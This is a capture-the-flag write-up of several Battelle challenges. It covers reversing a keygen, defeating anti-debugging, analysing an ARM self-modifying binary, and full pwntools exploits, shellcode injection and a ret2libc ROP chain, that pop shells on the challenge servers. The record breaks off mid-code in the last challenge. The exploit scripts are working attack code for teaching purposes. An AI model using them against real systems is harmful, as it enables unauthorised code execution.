# keygen Goal is to find a username in all caps whose password generates to "AFMWAFPE", and there may be multiple. Seems to be a 32-bit x86 Windows Binary, so let's look at it in IDA Pro. ## main ```c= int __cdecl main(int argc, const char **argv, const char **envp) { void *v3; // esp unsigned __int8 a2; // [esp+2Ch] [ebp-41Ch] char Destination[16]; // [esp+30h] [ebp-418h] BYREF char Buffer[1032]; // [esp+40h] [ebp-408h] BYREF v3 = alloca(16); __main(); printf("Name/Password Generator:\n"); printf("1) Figure out the algorithm\n"); printf("2) Name: ? Password: AFMWAFPE\n"); do { printf("Name: "); fgets(Buffer, 1024, (FILE *)__iob[0]._ptr); Destination[strlen(Buffer) + 15] = 0; } while ( !Buffer[0] ); Sleep(0x5DCu); strncpy(Destination, Buffer, 8u); Destination[8] = 0; a2 = strlen(Buffer); computePassword((unsigned __int8 *)Destination, a2); return 0; } ``` Above is the main function, seems to be nicely decompiled. We have a menu printed out and it asks us for our name, and it will probably take that and spit out a password. There's a function at the end called `computePassword` which is probably more important. ## computePassword ```c= void __cdecl computePassword(unsigned __int8 *name_buffer, unsigned __int8 name_buffer_length) { int v2; // ecx data[0] = (unsigned __int8)(122 - *name_buffer) % 0x1Au + 65; v2 = 1; do { data[v2] = (unsigned __int8)(name_buffer_length + name_buffer[v2] + v2 + data[v2] - data[v2 - 1]) % 0x1Au + 65; ++v2; } while ( (v2 & 8) == 0 ); Sleep(0x5DCu); printf("Password: %s\n", (const char *)data); } ``` The function takes our "name" that we inputted earlier, and the length of that name and uses it as the first to params to this `computePassword` function. Our input can only be a maximum of 8 bytes, however, since a null byte is placed in the buffer at index 8. `data` is also a global object in the `.data` segment whose initial value is `"ABCDEFGH"`. We can rewrite this function in python to analyze it easier ```python= def computePassword(name): l = len(s) data = list(b'ABCDEFGH') data[0] = ((122 - name[0]) % 0x1A) + 65 for v2 in range(1, 8): data[v2] = ((l + name[v2] + v2 + data[v2] - data[v2 - 1]) % 0x1A) + 65 return "".join(map(chr, data)) ``` ## Reversing computePassword Seems simple to reverse since we know what password we want, and modulo is a reversible operation. From a mathematical standpoint, there should be only 1 choice per character for the name assuming it's all uppercase, since there are only 26 uppercase letters and the modulo operator is mod 26, so there can't be more than 1 uppercase letter that satifies the modular equation. Below is code to generate the name for a password, assuming the name has to be all capital letters. ```python= def generateNameForPW(): pw = b"AFMWAFPE" l = 8 # let's just assume we're finding a name of length 8 data = list(b'ABCDEFGH') for name0 in range(65, 91): # only captial letters if ((122 - name0) % 0x1A) + 65 == pw[0]: tmp_name = [0 for _ in range(l)] tmp_name[0] = name0 for v2 in range(1, 8): for name_i_guess in range(65, 91): if ((l + name_i_guess + v2 + data[v2] - pw[v2 - 1]) % 0x1A) + 65 == pw[v2]: tmp_name[v2] = name_i_guess print("name found!", "".join(map(chr, tmp_name))) generateNameForPW() ``` Running the code above we get the name "FISHTANK", which is our flag. ## Flag ``` FISHTANK ``` # Anti Debugging ## main ```c= int __cdecl main(int argc, const char **argv, const char **envp) { void *v3; // esp HGLOBAL v4; // eax char *Pointer; // edi void (__stdcall *v6)(int); // eax char *v7; // ecx char v8; // al int v10; // [esp-4h] [ebp-FCh] char Str[56]; // [esp+30h] [ebp-C8h] BYREF size_t i; // [esp+68h] [ebp-90h] unsigned __int8 (__cdecl *v13)(char *); // [esp+6Ch] [ebp-8Ch] char Buffer[116]; // [esp+70h] [ebp-88h] BYREF LPVOID v15; // [esp+E4h] [ebp-14h] DWORD flOldProtect; // [esp+E8h] [ebp-10h] BYREF void *lpAddress[3]; // [esp+ECh] [ebp-Ch] BYREF v3 = alloca(16); __main(); patchAttach(); if ( findAndDetach() != 5 || debugged() == 1 || (unsigned __int8)checkForOlly() ) { printf("Debugger Detected\n"); } else { lpAddress[0] = getRetAddress(); VirtualProtect(lpAddress[0], 0x10u, 4u, &flOldProtect); *(_DWORD *)((char *)getRetAddress() + 391) = 0x2326EB0; } v4 = GlobalAlloc(0x42u, 0xA000u); v15 = GlobalLock(v4); VirtualProtect(v15, 0xA000u, 4u, (PDWORD)lpAddress); Pointer = (char *)findPointer((int)v15); qmemcpy(Pointer, (char *)getRetAddress() + 25, 0xA000u); v6 = (void (__stdcall *)(int))findPointer((int)v15); v6(v10); printf("Serial: "); fgets(Buffer, 100, (FILE *)__iob[0]._ptr); if ( debugged() != 1 && getRetAddress() < (char *)v15 + 0x4000 ) { printf("Checking serial...\n"); *(_DWORD *)(findPointer((int)checkPass) + 83) = 0x288052C; v13 = (unsigned __int8 (__cdecl *)(char *))findPointer((int)checkPass); if ( v13(Buffer) ) { qmemcpy(Str, &unk_40303C, 0x2Cu); for ( i = 0; i < strlen(Str); ++i ) { v7 = &Str[i]; v8 = Str[i] ^ 0x80; *v7 = v8; *v7 = v8; } printf("%s\n", Str); } else { printf("Serial Incorrect.\n"); } printf("press a key to quit."); getchar(); } return 0; } ``` ## Anti-Debugging and Self-Modifying Code Looking a the main function above, there's lots of anti-debugging functions and self-modifying code that's being done. Rather than dynmically debug the program and patch the anti-debug functions out with NOPs, the program can be solved statically. First self-modifying code code from this line ```c *(_DWORD *)((char *)getRetAddress() + 391) = 0x2326EB0; ``` Which sets the 4 bytes (DWORD) at address `0x401379 + 391 = 0x401500` to `\xB0\x6E\x32\x02` (little-endian). Those 4 bytes were originally all NOPs. Second line is ```c *(_DWORD *)(findPointer((int)checkPass) + 83) = 0x288052C; ``` We're modifying 4 bytes at address: `0x401771 + 83 = 0x4017c4` Third line is actually in the `findAndDetach` function, which is an anti-debugging function (hidden sneakily) ```c *(_DWORD *)((char *)getRetAddress() - 342) = 0x23281B0; ``` We're modifying 4 bytes at address: `0x401650 - 342 = 0x4014fa` We patch the program in IDA using these new bytes, and we changed 2 things. 1. Our for loop changed ```c if ( v13(Buffer) ) { qmemcpy(Str, &unk_40303C, 0x2Cu); for ( i = 0; i < strlen(Str); ++i ) { v7 = &Str[i]; v8 = &Str[i]; *v7 = Str[i] ^ 0x81; *v7 = *v8 ^ 0x6E; } printf("%s\n", Str); } ``` We now have an additional xor with 0x6e and the xor with 0x80 changed to 0x81. 2. In the `checkPass` function the for loop changed ```c for ( i = 0; i < strlen(Str); ++i ) { Str[i] -= 5; Str[i] ^= 0x6Eu; } ``` Originally it was `Str[i] -= 10`. ## Getting the flag We can easily figure out the correct `serial` with the patched `checkPass`, as it's just a single-byte xor decryption. Rewriting the function in python: ```python= que = "" for b in bbb: que += chr((b - 5) ^ 0x6e) print(que) ``` We get the `serial` as `youFoundMe`. We run the program with this serial and get our flag. ``` >anti-debug.exe Serial: youFoundMe Checking serial... Correct. user = part6 pass = unpackedSerial press a key to quit. ``` ## Flag ``` Correct. user = part6 pass = unpackedSerial ``` # Chameleon This is an arm binary that modifies the assembly code of a function called "decode" based off of our input, and then runs the modified "decode" function with our input that's supposed to spit out the flag ## modify_function ```c= int __cdecl modify_function( void (*function)(unsigned __int8 *, unsigned __int8 *), unsigned __int8 *input, uint8_t inputLength) { uint8_t d; // [sp+13h] [bp+13h] uint8_t opcode_1; // [sp+14h] [bp+14h] uint8_t opcode_2; // [sp+15h] [bp+15h] uint8_t opcode_set; // [sp+16h] [bp+16h] uint8_t instruct_idx; // [sp+17h] [bp+17h] uint8_t instruct_idxa; // [sp+17h] [bp+17h] uint8_t instruct_idxb; // [sp+17h] [bp+17h] uint8_t set_condition_bit; // [sp+18h] [bp+18h] uint8_t a; // [sp+19h] [bp+19h] uint8_t b; // [sp+1Ah] [bp+1Ah] uint8_t c; // [sp+1Bh] [bp+1Bh] uint8_t e; // [sp+1Ch] [bp+1Ch] uint8_t f; // [sp+1Dh] [bp+1Dh] uint8_t g; // [sp+1Eh] [bp+1Eh] uint8_t h; // [sp+1Fh] [bp+1Fh] uint8_t i_val; // [sp+20h] [bp+20h] int i; // [sp+24h] [bp+24h] if ( inputLength > 9u ) return -1; if ( !inputLength ) return 0; a = *input ^ 0x2C; b = input[1] ^ 0x24; c = input[2] ^ 0x28; d = input[3] ^ 0x28; e = input[4] ^ 0x33; f = input[5] ^ 0x32; g = input[6] ^ 0x2D; h = input[7] ^ 0x32; i_val = input[8] ^ 0x2D; opcode_set = 0; if ( a != 6 || b != 1 || c != 4 || d != 2 || e != 8 || f != 7 || g != 9 || h || i_val != 3 ) opcode_set = (i_val + a + b + c + d + e + f + g + h) % 10 + 1; switch ( opcode_set ) { case 0u: opcode_1 = 1; opcode_2 = 4; break; case 1u: opcode_1 = 0; opcode_2 = 2; break; case 2u: opcode_1 = 14; opcode_2 = 10; break; case 3u: opcode_1 = 4; opcode_2 = 9; break; case 4u: opcode_1 = 5; opcode_2 = 0; break; case 5u: opcode_1 = 15; opcode_2 = 12; break; case 6u: opcode_1 = 2; opcode_2 = 8; break; case 7u: opcode_1 = 7; opcode_2 = 5; break; case 8u: opcode_1 = 8; opcode_2 = 1; break; case 9u: opcode_1 = 9; opcode_2 = 3; break; case 0xAu: opcode_1 = 10; opcode_2 = 11; break; case 0xBu: opcode_1 = 12; opcode_2 = 15; break; default: opcode_1 = 13; opcode_2 = 13; break; } set_condition_bit = 0; if ( d > 31u ) d = 31; if ( opcode_1 == 8 || opcode_1 == 9 || opcode_1 == 10 || opcode_1 == 13 || opcode_1 == 15 ) set_condition_bit = 1; *((_DWORD *)function + 6) = b | 0xE3A02000; instruct_idx = 3; for ( i = 0; i < inputLength + 6; ++i ) { *((_DWORD *)function + instruct_idx + 6) = (d << 7) | (set_condition_bit << 20) | (opcode_1 << 21) | 0x11000 | 0xE0001002; instruct_idxa = instruct_idx + 1; *((_DWORD *)function + instruct_idxa + 6) = (set_condition_bit << 20) | (opcode_2 << 21) | 0xE0833001; if ( i > 4 ) instruct_idx = instruct_idxa + 6; else instruct_idx = instruct_idxa + 5; } instruct_idxb = instruct_idx - 4; *((_DWORD *)function + instruct_idxb + 6) = -390250256; *((_DWORD *)function + (unsigned __int8)(instruct_idxb + 1) + 6) = -516948194; return 0; } ``` The `modify_function` function isn't too confusing, based off of our input it modifies some of the ARM assembly instruction of the function we pass as the first parameter. Let's analyze which bytes are exactly modified. ```c *((_DWORD *)function + 6) = b | 0xE3A02000; ``` If we look at the `decode` function, the bytes at `function + 24` (since we cast the function as a `DWORD *`) is `00 20 A0 E3` or `MOV R2, #0`. The only byte that's modified is the last one, since `b` is based off the second character of our input: `b = input[1] ^ 0x24;`, and is an 8-bit value. So this only modifies the immediate value in the `MOV R2, #0` instruction, so really what we're modifying the instruction to: ``` MOV R2, #b ``` Which is based off of the value of the `b` variable. Onto the for loop. ```c instruct_idx = 3; for ( i = 0; i < inputLength + 6; ++i ) { *((_DWORD *)function + instruct_idx + 6) = (d << 7) | (set_condition_bit << 20) | (opcode_1 << 21) | 0x11000 | 0xE0001002; instruct_idxa = instruct_idx + 1; *((_DWORD *)function + instruct_idxa + 6) = (set_condition_bit << 20) | (opcode_2 << 21) | 0xE0833001; if ( i > 4 ) instruct_idx = instruct_idxa + 6; else instruct_idx = instruct_idxa + 5; } ``` The first value of `*((_DWORD *)function + instruct_idx + 6)` will be `function + 36` which will be `E2 10 A0 E1` or `MOV R1, R2,ROR#1`. `0x11000 | 0xE0001002 = 0xE0011002`. We know that `d` is a 5 bit value, cause if `d` is above 31 is gets set back to 31. We also nkow `set_condition_bit` is a 1-bit value, and `opcode_1` is a 4-bit value. In a better view bit-wise this is what the instruction will be modified to: ``` 1110000 | <opcode_1> | <set_condition_bit> | 00010001 | <d> | 0000010 ``` Looking at the decode function, we see a pattern like below. ```asm= .text:00000B30 00 20 A0 E3 MOV R2, #0 .text:00000B34 42 30 A0 E3 MOV R3, #0x42 ; 'B' .text:00000B38 00 10 A0 E3 MOV R1, #0 .text:00000B3C E2 10 A0 E1 MOV R1, R2,ROR#1 .text:00000B40 01 30 A0 E1 MOV R3, R1 .text:00000B44 04 30 C6 E7 STRB R3, [R6,R4] .text:00000B48 01 40 84 E2 ADD R4, R4, #1 ``` We modify the instructions at `0x00000B30`, `0x00000B3C`, and `0x00000B40` in `modify_function`. It's clear that we need to modify them so `R3` is set to the characters of the flag, since it's subsequently stored at the memory address `R6 + R4`, which is a buffer holding our input. There aren't a lot of choices for what the instruction can be, thankfully, since we have a list of valid `opcode_1`, `set_condition_bit`, and `opcode_2` values. ## Dumping all possible opcodes Below is a python script to generate all of them. We're just assuming here that `d = 0` ```python= d = 0 opcodes = [(1, 4), (0, 2), (14, 10), (4, 9), (5, 0), (15, 12), (2, 8), (7, 5), (8, 1), (9, 3), (10, 11), (12, 15), (13, 13)] assert len(opcodes) == 13 for opcode_1, opcode_2 in opcodes: set_condition_bit = 0 if ( opcode_1 == 8 or opcode_1 == 9 or opcode_1 == 10 or opcode_1 == 13 or opcode_1 == 15 ): set_condition_bit = 1 print(hex((d << 7) | (set_condition_bit << 20) | (opcode_1 << 21) | 0x11000 | 0xE0001002)[2:]) print(hex((set_condition_bit << 20) | (opcode_2 << 21) | 0xE0833001)[2:]) ``` Using an online disassembler (https://shell-storm.org/online/Online-Assembler-and-Disassembler/) we get the following: ``` E0 21 10 02 eor r1, r1, r2 E0 83 30 01 add r3, r3, r1 E0 01 10 02 and r1, r1, r2 E0 C3 30 01 sbc r3, r3, r1 E1 C1 10 02 bic r1, r1, r2 E1 C3 30 01 bic r3, r3, r1 E0 81 10 02 add r1, r1, r2 E1 A3 30 01 mov r3, r1 E0 A1 10 02 adc r1, r1, r2 E0 83 30 01 add r3, r3, r1 e1f11002 - n/a E1 93 30 01 orrs r3, r3, r1 E0 41 10 02 sub r1, r1, r2 E1 83 30 01 orr r3, r3, r1 E0 E1 10 02 rsc r1, r1, r2 E0 A3 30 01 adc r3, r3, r1 E1 11 10 02 tst r1, r2 E0 B3 30 01 adcs r3, r3, r1 E1 31 10 02 teq r1, r2 E0 F3 30 01 rscs r3, r3, r1 E1 51 10 02 cmp r1, r2 e1f33001 - n/a E1 81 10 02 orr r1, r1, r2 e1e33001 - n/a E1 B1 10 02 movs r1, r2 E1 B3 30 01 movs r3, r1 ``` Now the difference `d` makes is just adding an `lsl #d` to the end of every instruction. So for example setting `d = 31` makes the top instruction. ``` E0 21 1F 82 eor r1, r1, r2, lsl #31 ``` So the instructions are the same, it's just the last register is modifed with a logical-left-shift by the amount specified by `d`. So now to pick the correct pair of instructions to modify. `R1` will start at `0`, and `R2` is initialized to whatever we make `b`. ## Figuring out the correct pair of instructions Now we know the flag format is `FLAG{...}`, so the first character is "F". `R3`'s first value is `0x42`. If we take the first pair and set `R2` to `4`. Then we get `FLAG{` initially as expected. However, cause we want the first pair of instructions, we need `opcode_set` to be `0`, which basically means we have to have this if statement: ```c if ( a != 6 || b != 1 || c != 4 || d != 2 || e != 8 || f != 7 || g != 9 || h || i_val != 3 ) opcode_set = (i_val + a + b + c + d + e + f + g + h) % 10 + 1; ``` Be false, which means we need `a == 6 && b == 1 && c == 4 ... && i_val == 3`. If you notice, although we don't have `b = 4` as we originally wanted, we have `b = 1 && d = 2`, which means we do a `... r2, lsl #2`, and since `r2` is initially `1` and `1 << 2 == 4`, we're still fine. Now we just have to run the program with the input that makes the if statement false, which is the string `*%,*;5$2.`. ```bash qemu-arm -L /usr/arm-linux-gnueabihf ./chameleon '*%,*;5$2.' Output: FLAG{.)0.?9(62} ``` I'm using `qemu-arm` because I'm on a x64 system, and as expected we get a flag printed out in the correct format. ## Flag ``` FLAG{.)0.?9(62} ``` # Simple ## checksec ```bash= checksec challenge [*] 'challenge' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` ## Finding the buffer overflow Looking at the binary in IDA Pro, we see the `main` function only calls a function called `GetData` ```c= int GetData() { ssize_t v0; // eax int v1; // ebx int v2; // edi ssize_t v3; // eax int buf[126]; // [esp+13h] [ebp-1F9h] BYREF signal(14, (__sighandler_t)Alarmed); alarm(60u); setvbuf(_bss_start, 0, 2, 0); printf("Buffer is at %p\n", buf); puts("Please provide length of incoming data"); v0 = read(0, buf, 492u); if ( v0 <= 0 ) return 0; *((_BYTE *)buf + v0) = 0; v1 = strtol((const char *)buf, 0, 10); printf("Reading %d bytes\n", v1); buf[0] = 0; *(int *)((char *)&buf[122] + 1) = 0; memset((char *)buf + 1, 0, 4 * ((unsigned int)((char *)buf - ((char *)buf + 1) + 493) >> 2)); if ( v1 ) { v2 = 0; do { v3 = read(0, (char *)buf + v2, v1); if ( v3 <= 0 ) return 0; v2 += v3; v1 -= v3; } while ( v1 ); } printf("Received %s\n", (const char *)buf); return 0; } ``` There's a clear buffer overflow since the program asks us how many bytes it wants to be read, and then it reads that many bytes. Since this binary has very little protections, we can input shellcode into the buffer and then just overwrite the return address to point back to our buffer. The program also convieniently gives us the address of our buffer, so there's no guessing required. Only thing left to figure out is the distance between the return address and the buffer address that's printed out to us ## Finding the amount of bytes to input If we run the program locally with pwndbg, we can breakpoint at the end of the `GetData` function with `b *0x080486FC`. Since there's no PIE, that address won't change. ```bash $ gdb challenge pwndbg> b *0x080486FC Breakpoint 1 at 0x80486fc pwndbg> r Starting program: /media/sf_D_DRIVE/Battelle Challenges/challenge [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Buffer is at 0xffffcee3 Please provide length of incoming data 1 Reading 1 bytes a Received a Breakpoint 1, 0x080486fc in GetData () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────── EAX 0x0 *EBX 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac *ECX 0xb EDX 0x0 *EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0 *ESI 0xffffd1b4 —▸ 0xffffd352 ◂— '/media/sf_D_DRIVE/Battelle Challenges/challenge'*EBP 0xffffd0e8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0 *ESP 0xffffd0dc —▸ 0x80484a6 (main+22) ◂— add esp, 4 *EIP 0x80486fc (GetData+268) ◂— ret ─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────── ► 0x80486fc <GetData+268> ret <0x80484a6; main+22> ↓ 0x80484a6 <main+22> add esp, 4 0x80484a9 <main+25> pop ecx 0x80484aa <main+26> pop ebp 0x80484ab <main+27> lea esp, [ecx - 4] 0x80484ae <main+30> ret ↓ 0xf7c21519 <__libc_start_call_main+121> add esp, 0x10 0xf7c2151c <__libc_start_call_main+124> sub esp, 0xc 0xf7c2151f <__libc_start_call_main+127> push eax 0xf7c21520 <__libc_start_call_main+128> call exit <exit> 0xf7c21525 <__libc_start_call_main+133> call __nptl_deallocate_tsd <__nptl_deallocate_tsd> ─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd0dc —▸ 0x80484a6 (main+22) ◂— add esp, 4 01:0004│ 0xffffd0e0 ◂— 0x1 02:0008│ 0xffffd0e4 —▸ 0xffffd100 ◂— 0x1 03:000c│ ebp 0xffffd0e8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0 04:0010│ 0xffffd0ec —▸ 0xf7c21519 (__libc_start_call_main+121) ◂— add esp, 0x10 05:0014│ 0xffffd0f0 —▸ 0xffffd352 ◂— '/media/sf_D_DRIVE/Battelle Challenges/challenge' 06:0018│ 0xffffd0f4 ◂— 0x70 /* 'p' */ 07:001c│ 0xffffd0f8 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c ───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x80486fc GetData+268 f 1 0x80484a6 main+22 f 2 0xf7c21519 __libc_start_call_main+121 f 3 0xf7c215f3 __libc_start_main+147 f 4 0x80484e2 _start+50 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> p 0xffffd0dc - 0xffffcee3 $1 = 505 ``` So as we can see in the above picture, we run the program with `pwndbg` and then ask the program to read in 1 byte and then get to breakpoint at the return address. We calculate the difference between the address of the buffer printed out by the program (0xffffcee3) and the return address (0xffffd0dc, which is 505. Now we can build our exploit ## exploit.py ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host vishwa.challenges.battelle.org --port 19873 challenge from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('challenge') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or 'vishwa.challenges.battelle.org' port = int(args.PORT or 19873) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' b *GetData + 268 continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments io = start() io.recvuntil(b"Buffer is at ") BUFFER_ADDR = p32(int(io.recvline().strip(b"\n"), 16)) print(BUFFER_ADDR) io.recvuntil(b"Please provide length of incoming data\n") BUFFER_LENGTH = 0x1f9 io.sendline(str(BUFFER_LENGTH + 4)) #overwrite return address to our shellcode io.recvuntil(b" bytes\n") # send payload shellcode = asm(shellcraft.sh()) payload = shellcode payload += b"\x90"*(BUFFER_LENGTH - len(shellcode)) payload += BUFFER_ADDR io.send(payload) io.interactive() ``` Most of the code was auto-generated with pwntool's template command line feature: ```bash pwn template --host vishwa.challenges.battelle.org --port 19873 ``` The modified part of the template is here: ```python= io = start() io.recvuntil(b"Buffer is at ") BUFFER_ADDR = p32(int(io.recvline().strip(b"\n"), 16)) print(BUFFER_ADDR) io.recvuntil(b"Please provide length of incoming data\n") BUFFER_LENGTH = 0x1f9 io.sendline(str(BUFFER_LENGTH + 4)) #overwrite return address to our shellcode io.recvuntil(b" bytes\n") # send payload shellcode = asm(shellcraft.sh()) payload = shellcode payload += b"\x90"*(BUFFER_LENGTH - len(shellcode)) payload += BUFFER_ADDR io.send(payload) io.interactive() ``` We parse the buffer address the program gives us with `p32` and then using the buffer length of 0x1f9 or 505, we overwrite the return address with the address of the buffer by telling the program we want to read in that many bytes + 4. An important thing here is to note that we actually don't need to overwrite the `EBP` register with a dummy value, because this function actually doesn't modify `EBP`, looking at the assembly code. Thus we save 4 bytes in our payload. We also pad our shellcode with `\x90` bytes, or NOP instructions to make sure the program doesn't crash. We run our exploit against the server and get the flag when we pop a shell. ```bash $ cat /home/simple1/flag The flag is: bd19777b33a3df92e9635655481e605682b618cc94d392d962aa3913ef2e30b8 ``` ## Flag ``` bd19777b33a3df92e9635655481e605682b618cc94d392d962aa3913ef2e30b8 ``` # ASLR ## checksec ```bash $ checksec challenge_aslr [*] '/media/sf_D_DRIVE/Battelle Challenges/challenge_aslr' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` ## Dealing with the new protections As seen above we now have to deal with NX enabled, PIE enabled, and Full RELRO. With PIE this means that the address of the buffer will not be static anymore, and will change constantly, and NX enabled means we can't use shellcode to achieve RCE, and we need a LIBC leak so we can build up an exploit. So essentially we need to abuse leaks in order to build a ROP chain. There's still no canary, so we don't have to deal with that thankfully. ## Using the leaks The binary is very similar to the previous one, and we have a slightly different `GetData` function this time: ```c= int GetData() { void *v0; // eax void *v1; // eax ssize_t v2; // eax int v3; // ebp int v4; // edi ssize_t v5; // eax char buf[252]; // [esp+10h] [ebp-FCh] BYREF signal(14, (__sighandler_t)Alarmed); alarm(0x3Cu); setvbuf(stdout, 0, 2, 0); v0 = dlopen("libc.so.6", 1); v1 = dlsym(v0, "exit"); printf("You might need these: %p %p\n", v1, buf); puts("Please provide length of incoming data"); v2 = read(0, buf, 0xDFu); if ( v2 <= 0 ) return 0; buf[v2] = 0; v3 = strtol(buf, 0, 10); printf("Reading %d bytes\n", v3); memset(buf, 0, 0xE0u); if ( v3 ) { v4 = 0; do { v5 = read(0, &buf[v4], v3); if ( v5 <= 0 ) return 0; v4 += v5; v3 -= v5; } while ( v3 ); } printf("Received %s\n", buf); return 0; } ``` We have 2 leaks given to us, the address of `buf` and the address of libc's exit function. These are both very useful as we need them to build our ROP chain. ## Finding the correct libc One small thing we have to deal with is that every libc is different, ie there are different offsets for library functions based off of the version off of the libc version you're using. Good news is there's a nice libc database searcher we can use to figure out what version of libc the binary is using on the server end, since it's probably different than the libc we have locally. https://libc.blukat.me/?q=exit%3A0xf7d65160&l=libc6-i386_2.27-3ubuntu1.6_amd64 We input `exit` and the address of `exit` the binary gives to us on the server end, which I got as `0xf7d65160`. We get 2 options for the correct libc: ``` libc6-i386_2.27-3ubuntu1.5_amd64 libc6-i386_2.27-3ubuntu1.6_amd64 ``` You can pick either one, I just chose to use `libc6-i386_2.27-3ubuntu1.6_amd64`. ## Building the exploit Now that we have the correct libc and the leaks we need, we can build our ROP chain and have pwntools do most of the work. First thing we do is load the server's libc and use the leak we get to adjust the base address of libc to its correct value. We will then use this to call the `libc.system` function and get RCE. ```python= from pwn import * libc = ELF('./libc6-i386_2.27-3ubuntu1.6_amd64.so') io.recvuntil(b"You might need these: ") leaked_libc_addr, BUFFER_ADDR = io.recvline().strip(b"\n").split() libc.address = int(leaked_libc_addr, 16) - libc.symbols["exit"] ``` Now our libc is adjusted correctly, we can build the ROP chain. ```python= rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh\x00'))) raw_rop = rop.chain() ``` This will automatically build a ROP chain to call `libc.system("/bin/sh")`, all we need prior is the correct base address for the libc, which is what we did earlier. For the last part, we just need to send the correct amount of bytes initially in our input to overwrite the return address with our ROP chain. Like we did for the other challenge, we can just breakpoint in gdb at the return address and subtract it from the address of the buffer that the program conviently gives us. The return address and buffer address will constantly change because of PIE, but their difference value won't, which is what we care about. The difference we get is 252, so we send 252 `A`'s and then our ROP chain and we should achieve RCE. ## exploit.py ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host vishwa.challenges.battelle.org --port 8587 challenge_aslr from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('challenge_aslr') if args.LOCAL: # local libc libc = ELF("/lib/i386-linux-gnu/libc.so.6") else: # server's libc libc = ELF('./libc6-i386_2.27-3ubuntu1.6_amd64.so') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or 'vishwa.challenges.battelle.org' port = int(args.PORT or 8587) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' b *GetData + 295 continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: PIE enabled io = start() io.recvuntil(b"You might need these: ") leaked_libc_addr, BUFFER_ADDR = io.recvline().strip(b"\n").split() libc.address = int(leaked_libc_addr, 16) - libc.symbols["exit"] BUFFER_ADDR = p32(int(BUFFER_ADDR, 16)) print(leaked_libc_addr) print(BUFFER_ADDR) rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh\x00'))) raw_rop = rop.chain() io.recvuntil(b"Please provide length of incoming data\n") BUFFER_LENGTH = 252 io.sendline(str(BUFFER_LENGTH + len(raw_rop))) io.recvuntil(b" bytes\n") # send payload payload = b"A"*BUFFER_LENGTH payload += raw_rop io.send(payload) io.interactive() ``` After we get a shell we find the flag at `/home/aslr2/flag` ```bash $ cat /home/aslr2/flag The flag is: 401c37aa67e685c6ca0621e89ef0e6a3580d380e7ff20e20f312e5f9eccf76ce ``` ## Flag ``` 401c37aa67e685c6ca0621e89ef0e6a3580d380e7ff20e20f312e5f9eccf76ce ``` # ASLR Hard ## checksec ``` [*] '/media/sf_D_DRIVE/Battelle Challenges/challenge_aslr_hard' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` We have the same output as before with the previous ASLR challenge. ## Dealing with no leaks Looking at the `GetData` function again, there's some very big differences: ```c= int GetData() { ssize_t v0; // eax int v1; // ebp int v2; // edi ssize_t v3; // eax char buf[424]; // [esp+14h] [ebp-1A8h] BYREF signal(14, (__sighandler_t)Alarmed); alarm(0x3Cu); setvbuf(stdout, 0, 2, 0); puts("Please provide length of incoming data"); v0 = read(0, buf, 0x18Bu); if ( v0 <= 0 ) return 0; buf[v0] = 0; v1 = strtol(buf, 0, 10); printf("Reading %d 